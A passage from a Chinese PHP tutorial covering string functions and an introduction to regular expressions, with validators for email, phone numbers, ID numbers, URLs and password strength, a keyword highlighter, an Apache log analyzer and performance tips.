    echo "  {$phone}: " . (is_array($result) ? implode(', ', $result) : '通过') . "\n";
}
?>

本节练习

基础练习

  1. 使用strlen()mb_strlen()分别统计中英文字符串的长度
  2. 使用str_replace()替换文本中的敏感词
  3. 使用explode()implode()处理CSV格式数据
  4. 使用substr()截取字符串生成摘要

进阶练习

  1. 创建一个函数,统计字符串中每个单词出现的频率
  2. 实现一个URL slug生成器,处理中英文混合输入
  3. 编写一个密码强度检查器,检查长度、复杂度等
  4. 创建一个文本高亮函数,高亮显示搜索关键词

实战练习

  1. 完善TextProcessor类,添加更多实用方法
  2. 扩展InputValidator类,支持更多验证规则
  3. 创建一个简单的模板引擎,支持变量替换和条件渲染
  4. 实现一个文章管理系统的文本处理功能

总结

本节我们学习了PHP中常用的字符串处理函数,包括:

  • 长度计算函数strlen(), mb_strlen(), str_word_count()
  • 查找定位函数strpos(), strrpos(), strstr(), substr_count()
  • 截取提取函数substr(), mb_substr(), substr_replace()
  • 替换函数str_replace(), preg_replace(), substr_replace()
  • 分割连接函数explode(), implode(), str_split()
  • 大小写转换strtolower(), strtoupper(), ucfirst(), ucwords()
  • 清理修剪函数trim(), ltrim(), rtrim()
  • 安全函数htmlspecialchars(), strip_tags(), addslashes()

掌握这些函数是PHP开发的基础技能。在实际开发中,要根据具体需求选择合适的函数,特别注意中文处理时的编码问题,以及用户输入的安全处理。

💡 学习建议

  1. 熟记常用函数的参数和返回值
  2. 注意区分普通字符串函数和多字节字符串函数
  3. 处理用户输入时要始终考虑安全性
  4. 多查看PHP官方文档了解更多函数细节

下一节预告:我们将学习正则表达式,这是文本处理的强大工具,能够处理更复杂的模式匹配和替换任务。

6.3 正则表达式入门

正则表达式(Regular Expression,简称Regex)是一种强大的文本模式匹配工具,它使用特定的模式来描述、匹配、查找和替换字符串。在PHP开发中,正则表达式经常用于表单验证、数据提取、文本处理等场景。

什么是正则表达式?

正则表达式是由普通字符和特殊字符组成的模式,用于描述字符串的匹配规则。它可以帮我们:

  • 验证格式:检查输入是否符合特定格式(邮箱、手机号、身份证等)
  • 提取数据:从复杂文本中提取有用信息
  • 替换文本:批量替换符合特定模式的文本
  • 分割字符串:按照复杂规则分割文本

一个简单的例子

<?php
// 检查字符串是否包含手机号
$text = "联系电话:13812345678";
$pattern = '/1[3-9]\d{9}/';  // 手机号正则表达式

if (preg_match($pattern, $text)) {
    echo "文本包含手机号\n";
} else {
    echo "文本不包含手机号\n";
}
?>

正则表达式基础语法

定界符

正则表达式通常用斜杠(/)或其他字符作为定界符:

<?php
// 使用斜杠作为定界符
$pattern1 = '/hello/';

// 使用其他字符作为定界符(当模式中包含斜杠时很有用)
$pattern2 = '#http://example\.com#';
$pattern3 = '~^https?://~';
?>

字符类和元字符

1. 基本字符类

<?php
// [abc] - 匹配 a、b 或 c 中的任意一个字符
$pattern = '/[abc]/';

// [^abc] - 匹配除 a、b、c 之外的任意字符
$pattern = '/[^abc]/';

// [a-z] - 匹配任意小写字母
$pattern = '/[a-z]/';

// [A-Z] - 匹配任意大写字母
$pattern = '/[A-Z]/';

// [0-9] - 匹配任意数字
$pattern = '/[0-9]/';

// [a-zA-Z0-9] - 匹配任意字母或数字
$pattern = '/[a-zA-Z0-9]/';

// 示例:检查是否包含字母
$text = "Hello123";
if (preg_match('/[a-zA-Z]/', $text)) {
    echo "包含字母\n";
}
?>

2. 预定义字符类

<?php
// \d - 匹配任意数字,等同于 [0-9]
$pattern = '/\d+/';

// \D - 匹配任意非数字字符,等同于 [^0-9]
$pattern = '/\D+/';

// \w - 匹配任意单词字符(字母、数字、下划线),等同于 [a-zA-Z0-9_]
$pattern = '/\w+/';

// \W - 匹配任意非单词字符,等同于 [^a-zA-Z0-9_]
$pattern = '/\W+/';

// \s - 匹配任意空白字符(空格、制表符、换行符等)
$pattern = '/\s+/';

// \S - 匹配任意非空白字符
$pattern = '/\S+/';

// 示例:验证密码格式(至少8位,包含字母和数字)
function validatePassword($password) {
    if (strlen($password) < 8) {
        return "密码长度至少8位";
    }

    if (!preg_match('/\d/', $password)) {
        return "密码必须包含数字";
    }

    if (!preg_match('/[a-zA-Z]/', $password)) {
        return "密码必须包含字母";
    }

    return "密码格式正确";
}

echo validatePassword("password123") . "\n";  // 密码格式正确
echo validatePassword("12345678") . "\n";      // 密码必须包含字母
echo validatePassword("password") . "\n";      // 密码必须包含数字
?>

3. 量词

<?php
// * - 匹配0次或多次
$pattern = '/a*/';  // 匹配0个或多个a

// + - 匹配1次或多次
$pattern = '/a+/';  // 匹配1个或多个a

// ? - 匹配0次或1次
$pattern = '/colou?r/';  // 匹配 color 或 colour

// {n} - 匹配恰好n次
$pattern = '/\d{3}/';  // 匹配恰好3个数字

// {n,} - 匹配至少n次
$pattern = '/\d{3,}/';  // 匹配至少3个数字

// {n,m} - 匹配n到m次
$pattern = '/\d{3,5}/';  // 匹配3到5个数字

// 示例:验证手机号格式
function validatePhone($phone) {
    // 移除所有非数字字符
    $phone = preg_replace('/\D/', '', $phone);

    // 验证11位数字,以1开头
    $pattern = '/^1[3-9]\d{9}$/';

    return preg_match($pattern, $phone) ? "手机号格式正确" : "手机号格式错误";
}

echo validatePhone("13812345678") . "\n";  // 手机号格式正确
echo validatePhone("188-1234-5678") . "\n";  // 手机号格式正确
echo validatePhone("12345678901") . "\n";   // 手机号格式错误
?>

4. 位置锚点

<?php
// ^ - 匹配字符串开头
$pattern = '/^hello/';  // 匹配以hello开头的字符串

// $ - 匹配字符串结尾
$pattern = '/world$/';  // 匹配以world结尾的字符串

// \b - 匹配单词边界
$pattern = '/\bword\b/';  // 匹配独立的单词word

// \B - 匹配非单词边界
$pattern = '/\Bword\B/';  // 匹配在单词内部的word

// 示例:验证用户名格式(3-20个字符,字母数字下划线,不以数字开头)
function validateUsername($username) {
    $pattern = '/^[a-zA-Z_]\w{2,19}$/';
    return preg_match($pattern, $username) ? "用户名格式正确" : "用户名格式错误";
}

echo validateUsername("user123") . "\n";      // 用户名格式正确
echo validateUsername("_username") . "\n";    // 用户名格式正确
echo validateUsername("123user") . "\n";      // 用户名格式错误
echo validateUsername("ab") . "\n";          // 用户名格式错误
?>

5. 分组和选择

<?php
// () - 分组
$pattern = '/(ab)+/';  // 匹配1个或多个ab

// | - 或条件
$pattern = '/cat|dog/';  // 匹配cat或dog

// 示例:提取URL中的域名
function extractDomain($url) {
    $pattern = '/^(https?:\/\/)?([^\/]+)/i';
    if (preg_match($pattern, $url, $matches)) {
        return $matches[2];
    }
    return null;
}

echo extractDomain("https://www.example.com/path") . "\n";  // www.example.com
echo extractDomain("http://example.org") . "\n";           // example.org
echo extractDomain("example.net") . "\n";                  // example.net

// 示例:验证邮箱格式
function validateEmail($email) {
    $pattern = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/';
    return preg_match($pattern, $email) ? "邮箱格式正确" : "邮箱格式错误";
}

echo validateEmail("user@example.com") . "\n";     // 邮箱格式正确
echo validateEmail("user.name+tag@domain.co.uk") . "\n";  // 邮箱格式正确
echo validateEmail("invalid.email") . "\n";        // 邮箱格式错误
?>

PHP正则表达式函数

preg_match() - 执行正则表达式匹配

<?php
// 基本匹配
$text = "The quick brown fox jumps over the lazy dog";
$pattern = '/fox/';

if (preg_match($pattern, $text)) {
    echo "找到匹配\n";
}

// 捕获分组
$text = "联系电话:138-1234-5678";
$pattern = '/(\d{3})-(\d{4})-(\d{4})/';

if (preg_match($pattern, $text, $matches)) {
    echo "完整匹配: " . $matches[0] . "\n";
    echo "区号: " . $matches[1] . "\n";
    echo "前四位: " . $matches[2] . "\n";
    echo "后四位: " . $matches[3] . "\n";
}

// 带偏移量的匹配
$text = "123abc456def789";
$pattern = '/\d+/';
$count = 0;

// 从第5个字符开始匹配
preg_match($pattern, $text, $matches, 0, 5);
echo "从第5个字符开始的匹配: " . $matches[0] . "\n";  // 456

// 统计匹配次数
$text = "apple banana apple orange apple";
preg_match_all('/apple/', $text, $matches);
echo "'apple'出现次数: " . count($matches[0]) . "\n";  // 3
?>

preg_match_all() - 执行全局正则表达式匹配

<?php
// 提取所有邮箱地址
$text = "联系方式:admin@example.com 或 support@company.org,sales@business.net";
$pattern = '/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/';

preg_match_all($pattern, $text, $matches);
echo "找到的邮箱地址:\n";
foreach ($matches[0] as $email) {
    echo "- {$email}\n";
}

// 提取所有HTML标签
$html = "<div class='container'><p>段落内容</p><span>文本</span></div>";
$pattern = '/<[^>]+>/';

preg_match_all($pattern, $html, $matches);
echo "HTML标签:\n";
foreach ($matches[0] as $tag) {
    echo "- {$tag}\n";
}

// 提取价格信息
$text = "价格:¥299.99,折扣价:¥199.00,VIP价:¥99.50";
$pattern = '/¥(\d+\.\d{2})/';

preg_match_all($pattern, $text, $matches);
echo "价格信息:\n";
foreach ($matches[1] as $price) {
    echo "- ¥{$price}\n";
}
?>

preg_replace() - 执行正则表达式替换

<?php
// 基本替换
$text = "我的手机号是13812345678,请致电联系";
$pattern = '/1[3-9]\d{9}/';
$replacement = '[手机号已隐藏]';

$protected = preg_replace($pattern, $replacement, $text);
echo "保护后: {$protected}\n";

// 使用回调函数进行替换
$text = "苹果的价格是5元,香蕉的价格是3元,橙子的价格是8元";
$pattern = '/(\d+)元/';

$converted = preg_replace_callback($pattern, function($matches) {
    $price = $matches[1];
    return '¥' . $price . '元';
}, $text);

echo "价格转换后: {$converted}\n";

// 批量替换
$text = "Hello <world>! This is a <test>.";
$search = ['/<[^>]*>/', '/\s+/'];
$replace = ['', ' '];

$cleaned = preg_replace($search, $replace, $text);
echo "清理后: '" . trim($cleaned) . "'\n";

// 限制替换次数
$text = "apple banana apple orange apple";
$pattern = '/apple/';
$replacement = 'fruit';

$limited = preg_replace($pattern, $replacement, $text, 2);
echo "限制替换2次: {$limited}\n";  // fruit banana fruit orange apple
?>

preg_split() - 用正则表达式分割字符串

<?php
// 按多种空白字符分割
$text = "Hello   World\tThis\nis a  test";
$words = preg_split('/\s+/', $text);

print_r($words);

// 按标点符号分割句子
$text = "Hello, world! How are you? I'm fine. Thanks!";
$sentences = preg_split('/[.!?]+/', $text, -1, PREG_SPLIT_NO_EMPTY);

echo "句子:\n";
foreach ($sentences as $sentence) {
    echo "- '" . trim($sentence) . "'\n";
}

// 提取单词(过滤标点符号)
$text = "Hello, world! How are you today?";
$words = preg_split('/[\W\s]+/', $text, -1, PREG_SPLIT_NO_EMPTY);

echo "单词:\n";
foreach ($words as $word) {
    echo "- {$word}\n";
}

// 限制分割数量
$text = "one,two,three,four,five";
$parts = preg_split('/,/', $text, 3);

echo "分割前3部分:\n";
print_r($parts);
?>

preg_grep() - 返回匹配模式的数组条目

<?php
// 筛选包含数字的字符串
$strings = ["hello", "world123", "test", "456", "php2024", "abc"];
$pattern = '/\d+/';

$with_numbers = preg_grep($pattern, $strings);
print_r($with_numbers);

// 筛选有效的邮箱
$emails = [
    "user@example.com",
    "invalid.email",
    "test@domain.org",
    "not-an-email",
    "admin@company.net"
];
$pattern = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/';

$valid_emails = preg_grep($pattern, $emails);
echo "有效邮箱:\n";
foreach ($valid_emails as $email) {
    echo "- {$email}\n";
}

// 反向匹配(PREG_GREP_INVERT)
$invalid_emails = preg_grep($pattern, $emails, PREG_GREP_INVERT);
echo "无效邮箱:\n";
foreach ($invalid_emails as $email) {
    echo "- {$email}\n";
}
?>

常用正则表达式模式

邮箱验证

<?php
function validateEmailDetailed($email) {
    // 基本邮箱格式
    $pattern = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/';

    if (!preg_match($pattern, $email)) {
        return [
            'valid' => false,
            'error' => '邮箱格式不正确'
        ];
    }

    // 检查域名长度
    if (strlen($email) > 254) {
        return [
            'valid' => false,
            'error' => '邮箱地址过长'
        ];
    }

    // 检查用户名长度
    $local = explode('@', $email)[0];
    if (strlen($local) > 64) {
        return [
            'valid' => false,
            'error' => '用户名部分过长'
        ];
    }

    return [
        'valid' => true,
        'message' => '邮箱格式正确'
    ];
}

$emails = [
    "user@example.com",
    "very.long.username.123@example-domain.com",
    "invalid.email",
    "user@localhost",
    "a" . str_repeat('a', 60) . "@example.com"
];

foreach ($emails as $email) {
    $result = validateEmailDetailed($email);
    echo "{$email}: " . ($result['valid'] ? $result['message'] : $result['error']) . "\n";
}
?>

手机号验证(中国大陆)

<?php
function validateChinesePhone($phone) {
    // 清理输入,只保留数字
    $phone = preg_replace('/\D/', '', $phone);

    // 中国手机号规则:1开头,第二位3-9,总共11位数字
    $pattern = '/^1[3-9]\d{9}$/';

    if (!preg_match($pattern, $phone)) {
        return false;
    }

    // 检查特殊号段(可选)
    $special_prefixes = ['170', '171', '172', '174', '175', '176', '178'];
    $prefix = substr($phone, 0, 3);

    if (in_array($prefix, $special_prefixes)) {
        // 虚拟运营商号段可能需要特殊处理
        return 'virtual';
    }

    return 'regular';
}

$phones = [
    "13812345678",
    "188-1234-5678",
    "+86 139 1234 5678",
    "17012345678",  // 虚拟运营商
    "12345678901",  // 无效
    "1381234567"    // 位数不对
];

foreach ($phones as $phone) {
    $result = validateChinesePhone($phone);
    switch ($result) {
        case 'regular':
            echo "{$phone}: 普通运营商号段\n";
            break;
        case 'virtual':
            echo "{$phone}: 虚拟运营商号段\n";
            break;
        case false:
            echo "{$phone}: 无效的手机号\n";
            break;
    }
}
?>

身份证号码验证

<?php
function validateChineseID($id) {
    // 18位身份证正则
    $pattern18 = '/^[1-9]\d{5}(19|20)\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}[\dXx]$/';

    // 15位身份证正则
    $pattern15 = '/^[1-9]\d{5}\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}$/';

    if (preg_match($pattern18, $id)) {
        return validateIDChecksum($id) ? '18位有效' : '18位校验码错误';
    } elseif (preg_match($pattern15, $id)) {
        return '15位有效';
    }

    return '无效的身份证号';
}

function validateIDChecksum($id) {
    if (strlen($id) !== 18) {
        return false;
    }

    // 权重系数
    $weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2];
    // 校验码对应值
    $checksums = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'];

    $sum = 0;
    for ($i = 0; $i < 17; $i++) {
        $sum += intval($id[$i]) * $weights[$i];
    }

    $index = $sum % 11;
    return strtoupper($id[17]) === $checksums[$index];
}

$ids = [
    "110101199001011234",  // 18位示例
    "110101900101123",      // 15位示例
    "123456789012345678",  // 无效
    "11010119900101123X"   // 18位,校验码X
];

foreach ($ids as $id) {
    echo "{$id}: " . validateChineseID($id) . "\n";
}
?>

URL验证和提取

<?php
function parseURL($url) {
    $pattern = '/^(https?):\/\/([^:\/\s]+)(?::(\d+))?(\/[^\s?#]*)?(?:\?([^#\s]*))?(#.*)?$/i';

    if (preg_match($pattern, $url, $matches)) {
        return [
            'scheme' => $matches[1] ?: '',
            'host' => $matches[2] ?: '',
            'port' => $matches[3] ?: '',
            'path' => $matches[4] ?: '',
            'query' => $matches[5] ?: '',
            'fragment' => $matches[6] ?: ''
        ];
    }

    return null;
}

// 解析查询参数
function parseQuery($query) {
    if (empty($query)) {
        return [];
    }

    $params = [];
    $pattern = '/([^&=]+)=([^&]*)/';

    preg_match_all($pattern, $query, $matches);

    for ($i = 0; $i < count($matches[1]); $i++) {
        $params[urldecode($matches[1][$i])] = urldecode($matches[2][$i]);
    }

    return $params;
}

$urls = [
    "https://www.example.com/path/to/page?param1=value1&param2=value2#section1",
    "http://localhost:8080/api/users?id=123&format=json",
    "ftp://ftp.example.org/files/download.zip"
];

foreach ($urls as $url) {
    echo "解析URL: {$url}\n";
    $parsed = parseURL($url);
    if ($parsed) {
        foreach ($parsed as $key => $value) {
            echo "  {$key}: {$value}\n";
        }

        if (!empty($parsed['query'])) {
            echo "  查询参数:\n";
            $params = parseQuery($parsed['query']);
            foreach ($params as $key => $value) {
                echo "    {$key}: {$value}\n";
            }
        }
    }
    echo "\n";
}
?>

密码强度验证

<?php
function checkPasswordStrength($password) {
    $strength = [
        'score' => 0,
        'feedback' => [],
        'level' => 'weak'
    ];

    // 长度检查
    if (strlen($password) >= 8) {
        $strength['score'] += 1;
    } else {
        $strength['feedback'][] = "密码长度至少需要8位";
    }

    if (strlen($password) >= 12) {
        $strength['score'] += 1;
    }

    // 包含小写字母
    if (preg_match('/[a-z]/', $password)) {
        $strength['score'] += 1;
    } else {
        $strength['feedback'][] = "密码应包含小写字母";
    }

    // 包含大写字母
    if (preg_match('/[A-Z]/', $password)) {
        $strength['score'] += 1;
    } else {
        $strength['feedback'][] = "密码应包含大写字母";
    }

    // 包含数字
    if (preg_match('/\d/', $password)) {
        $strength['score'] += 1;
    } else {
        $strength['feedback'][] = "密码应包含数字";
    }

    // 包含特殊字符
    if (preg_match('/[!@#$%^&*()_+\-=\[\]{};\':"\\|,.<>\/?]/', $password)) {
        $strength['score'] += 1;
    } else {
        $strength['feedback'][] = "密码应包含特殊字符";
    }

    // 检查常见弱密码模式
    if (preg_match('/^[a-zA-Z]+$/', $password) || preg_match('/^\d+$/', $password)) {
        $strength['score'] -= 1;
        $strength['feedback'][] = "密码不应是纯字母或纯数字";
    }

    // 检查重复字符
    if (preg_match('/(.)\1{2,}/', $password)) {
        $strength['score'] -= 1;
        $strength['feedback'][] = "密码不应包含连续重复字符";
    }

    // 检查常见密码
    $common_passwords = ['password', '123456', 'admin', 'qwerty', 'abc123'];
    foreach ($common_passwords as $common) {
        if (stripos($password, $common) !== false) {
            $strength['score'] -= 2;
            $strength['feedback'][] = "密码包含常见的弱密码组合";
            break;
        }
    }

    // 确定强度等级
    if ($strength['score'] >= 5) {
        $strength['level'] = 'very_strong';
    } elseif ($strength['score'] >= 4) {
        $strength['level'] = 'strong';
    } elseif ($strength['score'] >= 2) {
        $strength['level'] = 'medium';
    } else {
        $strength['level'] = 'weak';
    }

    return $strength;
}

$passwords = [
    "password",
    "12345678",
    "Password123",
    "P@ssw0rd!2024",
    "MyStr0ng#P@ss"
];

foreach ($passwords as $password) {
    echo "密码: {$password}\n";
    $result = checkPasswordStrength($password);
    echo "  强度: {$result['level']} (得分: {$result['score']})\n";
    if (!empty($result['feedback'])) {
        echo "  建议:\n";
        foreach ($result['feedback'] as $feedback) {
            echo "    - {$feedback}\n";
        }
    }
    echo "\n";
}
?>

实际应用示例

搜索引擎关键词高亮

<?php
class KeywordHighlighter {
    private $keywords;
    private $highlightClass;

    public function __construct($keywords = [], $highlightClass = 'highlight') {
        $this->keywords = $keywords;
        $this->highlightClass = $highlightClass;
    }

    /**
     * 高亮文本中的关键词
     */
    public function highlight($text) {
        if (empty($this->keywords)) {
            return $text;
        }

        // 转义HTML特殊字符
        $text = htmlspecialchars($text, ENT_QUOTES, 'UTF-8');

        foreach ($this->keywords as $keyword) {
            if (!empty(trim($keyword))) {
                $pattern = '/(' . preg_quote($keyword, '/') . ')/i';
                $replacement = '<span class="' . $this->highlightClass . '">$1</span>';
                $text = preg_replace($pattern, $replacement, $text);
            }
        }

        return $text;
    }

    /**
     * 生成包含上下文的关键词摘要
     */
    public function generateExcerpt($text, $maxLength = 200, $contextLength = 50) {
        $excerpt = '';

        foreach ($this->keywords as $keyword) {
            if (empty(trim($keyword))) {
                continue;
            }

            // 查找关键词位置
            $pattern = '/(' . preg_quote($keyword, '/') . ')/i';
            if (preg_match($pattern, $text, $matches, PREG_OFFSET_CAPTURE)) {
                $position = $matches[0][1];
                $start = max(0, $position - $contextLength);
                $end = min(strlen($text), $position + strlen($keyword) + $contextLength);

                $context = substr($text, $start, $end - $start);

                // 高亮关键词
                $highlighted = preg_replace(
                    $pattern,
                    '<span class="' . $this->highlightClass . '">$1</span>',
                    $context
                );

                if (!empty($excerpt)) {
                    $excerpt .= ' ... ';
                }

                $excerpt .= ($start > 0 ? '...' : '') . $highlighted . ($end < strlen($text) ? '...' : '');

                if (strlen($excerpt) >= $maxLength) {
                    break;
                }
            }
        }

        return $excerpt ?: substr($text, 0, $maxLength) . '...';
    }
}

// 使用示例
$search_keywords = ['PHP', '正则表达式', '文本'];
$highlighter = new KeywordHighlighter($search_keywords);

$text = "PHP是一种广泛使用的编程语言。正则表达式是PHP中处理文本的强大工具,可以用于复杂的模式匹配和文本替换。学习PHP的正则表达式功能对于Web开发非常重要。";

echo "高亮后的文本:\n";
echo $highlighter->highlight($text) . "\n\n";

echo "包含关键词的摘要:\n";
echo $highlighter->generateExcerpt($text, 150) . "\n";

// 输出对应的CSS
echo "\n推荐CSS:\n";
echo ".highlight { background-color: yellow; font-weight: bold; }\n";
?>

日志文件分析器

<?php
class LogAnalyzer {
    /**
     * 解析Apache访问日志
     */
    public static function parseApacheLog($logLine) {
        // Apache Common Log Format
        $pattern = '/^(\S+) \S+ \S+ \[([\w:/]+\s[+\-]\d{4})\] "(\S+) (\S+) (\S+)" (\d{3}) (\d+|-) "([^"]*)" "([^"]*)"$/';

        if (preg_match($pattern, $logLine, $matches)) {
            return [
                'ip' => $matches[1],
                'timestamp' => $matches[2],
                'method' => $matches[3],
                'url' => $matches[4],
                'protocol' => $matches[5],
                'status' => $matches[6],
                'size' => $matches[7],
                'referrer' => $matches[8],
                'user_agent' => $matches[9]
            ];
        }

        return null;
    }

    /**
     * 分析日志文件
     */
    public static function analyzeLogFile($filename, $maxLines = 1000) {
        $stats = [
            'total_requests' => 0,
            'status_codes' => [],
            'top_ips' => [],
            'top_pages' => [],
            'error_requests' => []
        ];

        $lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        $lineCount = 0;

        foreach ($lines as $line) {
            if ($lineCount >= $maxLines) {
                break;
            }

            $parsed = self::parseApacheLog($line);
            if ($parsed) {
                $stats['total_requests']++;

                // 统计状态码
                $status = $parsed['status'];
                if (!isset($stats['status_codes'][$status])) {
                    $stats['status_codes'][$status] = 0;
                }
                $stats['status_codes'][$status]++;

                // 统计IP访问次数
                $ip = $parsed['ip'];
                if (!isset($stats['top_ips'][$ip])) {
                    $stats['top_ips'][$ip] = 0;
                }
                $stats['top_ips'][$ip]++;

                // 统计页面访问次数
                $url = $parsed['url'];
                if (!isset($stats['top_pages'][$url])) {
                    $stats['top_pages'][$url] = 0;
                }
                $stats['top_pages'][$url]++;

                // 记录错误请求
                if (substr($status, 0, 1) === '4' || substr($status, 0, 1) === '5') {
                    $stats['error_requests'][] = $parsed;
                }
            }

            $lineCount++;
        }

        // 排序统计结果
        arsort($stats['top_ips']);
        arsort($stats['top_pages']);
        $stats['top_ips'] = array_slice($stats['top_ips'], 0, 10, true);
        $stats['top_pages'] = array_slice($stats['top_pages'], 0, 10, true);

        return $stats;
    }

    /**
     * 提取特定时间段的日志
     */
    public static function filterByTime($logs, $startTime, $endTime) {
        $filtered = [];

        foreach ($logs as $log) {
            $timestamp = strtotime($log['timestamp']);
            if ($timestamp >= $startTime && $timestamp <= $endTime) {
                $filtered[] = $log;
            }
        }

        return $filtered;
    }
}

// 创建示例日志文件
$sampleLog = "192.168.1.1 - - [25/Dec/2024:10:00:00 +0800] \"GET /index.html HTTP/1.1\" 200 1234 \"-\" \"Mozilla/5.0\"\n" .
            "192.168.1.2 - - [25/Dec/2024:10:00:05 +0800] \"GET /about.html HTTP/1.1\" 200 5678 \"http://example.com/\" \"Mozilla/5.0\"\n" .
            "192.168.1.1 - - [25/Dec/2024:10:00:10 +0800] \"POST /login.php HTTP/1.1\" 200 345 \"http://example.com/login.html\" \"Mozilla/5.0\"\n" .
            "192.168.1.3 - - [25/Dec/2024:10:00:15 +0800] \"GET /nonexistent.html HTTP/1.1\" 404 789 \"http://example.com/\" \"Mozilla/5.0\"\n" .
            "192.168.1.2 - - [25/Dec/2024:10:00:20 +0800] \"GET /admin.html HTTP/1.1\" 403 456 \"-\" \"Mozilla/5.0\"\n";

file_put_contents('sample_access.log', $sampleLog);

// 分析日志
$stats = LogAnalyzer::analyzeLogFile('sample_access.log');

echo "日志分析结果:\n";
echo "总请求数: {$stats['total_requests']}\n\n";

echo "状态码统计:\n";
foreach ($stats['status_codes'] as $code => $count) {
    echo "  {$code}: {$count} 次\n";
}

echo "\n访问最多的IP:\n";
foreach ($stats['top_ips'] as $ip => $count) {
    echo "  {$ip}: {$count} 次\n";
}

echo "\n访问最多的页面:\n";
foreach ($stats['top_pages'] as $page => $count) {
    echo "  {$page}: {$count} 次\n";
}

echo "\n错误请求:\n";
foreach ($stats['error_requests'] as $error) {
    echo "  {$error['ip']} {$error['timestamp']} {$error['status']} {$error['url']}\n";
}
?>

正则表达式优化技巧

1. 提高匹配效率

<?php
// 使用具体字符而不是通配符
$bad = '/.*hello.*/';      // 效率低
$good = '/\bhello\b/';     // 效率高

// 使用锚点减少回溯
$bad = '/hello.*world/';
$good = '/^hello.*world$/';

// 避免贪婪匹配,使用非贪婪
$text = "<div>内容1</div><div>内容2</div>";

// 贪婪匹配(可能匹配过多)
$greedy = preg_match('/<div>.*<\/div>/', $text, $matches);
echo "贪婪匹配: " . $matches[0] . "\n";

// 非贪婪匹配(更精确)
$non_greedy = preg_match('/<div>.*?<\/div>/', $text, $matches);
echo "非贪婪匹配: " . $matches[0] . "\n";

// 使用原子组防止回溯
$pattern = '/(?>hello|world)+/';
?>

2. 减少复杂度

<?php
// 简化字符类
$bad = '/[a-zA-Z0-9_]/';
$good = '/\w/';

// 使用预定义字符类
$bad = '/[0-9]/';
$good = '/\d/';

$bad = '/[^0-9]/';
$good = '/\D/';

// 合并相似的分组
$bad = '/(cat|dog|bird|fish)/';
$good = '/(cat|dog|bird|fish)/';  // 这个示例中无法简化,但原理是减少回溯

// 使用更具体的模式
$bad = '/.*@.*\..*/';  // 太宽泛
$good = '/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/';  // 更具体
?>

3. 使用修饰符

<?php
// i - 大小写不敏感
$pattern = '/hello/i';

// m - 多行模式(^和$匹配每行的开始和结束)
$text = "hello\nworld\nhello";
preg_match_all('/^hello$/m', $text, $matches);

// s - 点号匹配换行符
$html = "<div>内容\n包含换行</div>";
preg_match('/<div>.*<\/div>/s', $html, $matches);

// U - 非贪婪模式(全局设置)
preg_match('/<div>.*<\/div>/U', $text, $matches);

// x - 忽略空白字符(便于阅读)
$pattern = '/
    ^                 # 开始
    1[3-9]           # 手机号前缀
    \d{9}            # 后9位数字
    $                 # 结束
/x';
?>

常见错误和解决方案

1. 回溯灾难

<?php
// 错误示例:可能导致回溯灾难
$text = str_repeat('a', 10000) . 'b';
$bad_pattern = '/a+ab/';

// 可能导致性能问题
$result = preg_match($bad_pattern, $text);

// 正确的做法:使用原子组
$good_pattern = '/(?>a+)b/';
$result = preg_match($good_pattern, $text);

// 或者使用占有量词
$better_pattern = '/a++b/';
$result = preg_match($better_pattern, $text);
?>

2. 忽略边界情况

<?php
// 错误:没有处理空字符串
function validateEmail($email) {
    $pattern = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/';
    return preg_match($pattern, $email);  // 空字符串也会返回false
}

// 正确:先检查空值
function validateEmail($email) {
    if (empty($email)) {
        return false;
    }

    $pattern = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/';
    return preg_match($pattern, $email);
}

// 错误:没有限制长度
function validateUsername($username) {
    return preg_match('/^[a-zA-Z0-9_]+$/', $username);
}

// 正确:检查长度
function validateUsername($username) {
    $length = strlen($username);
    if ($length < 3 || $length > 20) {
        return false;
    }

    return preg_match('/^[a-zA-Z0-9_]+$/', $username);
}
?>

3. 转义问题

<?php
// 错误:没有转义用户输入
function search($text, $keyword) {
    $pattern = '/' . $keyword . '/';  // 危险!
    return preg_match($pattern, $text);
}

// 正确:转义特殊字符
function search($text, $keyword) {
    $escaped_keyword = preg_quote($keyword, '/');
    $pattern = '/' . $escaped_keyword . '/i';
    return preg_match($pattern, $text);
}

// 示例:用户输入包含正则特殊字符
$text = "The price is $5.99";
$keyword = "$5";  // 用户输入

// 不转义的后果
$pattern = '/' . $keyword . '/';  // 会变成 /\$5/,可能不是预期的行为

// 正确的做法
$escaped = preg_quote($keyword, '/');
$pattern = '/' . $escaped . '/';  // 正确的模式
?>

本节练习

基础练习

  1. 编写正则表达式验证手机号格式
  2. 创建验证邮箱格式的正则表达式
  3. 编写提取URL中域名和路径的正则表达式
  4. 创建验证密码复杂度的正则表达式

进阶练习

  1. 实现一个简单的模板引擎,支持变量替换
  2. 编写HTML标签清理函数,保留指定标签
  3. 创建日志文件分析器,提取特定信息
  4. 实现关键词搜索和结果高亮功能

实战练习

  1. 完善KeywordHighlighter类,添加更多功能
  2. 扩展LogAnalyzer类,支持更多日志格式
  3. 创建一个完整的表单验证系统
  4. 实现一个简单的爬虫,提取网页中的特定信息

总结

本节我们学习了PHP正则表达式的基础知识和应用:

  • 基础语法:字符类、量词、锚点、分组等
  • PHP函数preg_match(), preg_replace(), preg_split()
  • 常用模式:邮箱、手机号、URL、密码强度验证
  • 实际应用:文本处理、日志分析、搜索高亮等
  • 性能优化:避免回溯灾难、简化模式、正确使用修饰符

正则表达式是一个强大但复杂的工具,需要大量练习才能熟练掌握。在实际应用中要注意性能和安全问题,避免过度复杂的正则表达式。

💡 学习建议

  1. 从简单的模式开始,逐步增加复杂度
  2. 多练习,多查看他人的正则表达式写法
  3. 使用正则表达式测试工具验证模式
  4. 注意性能,避免过度复杂的正则表达式
  5. 始终考虑安全性,正确转义用户输入

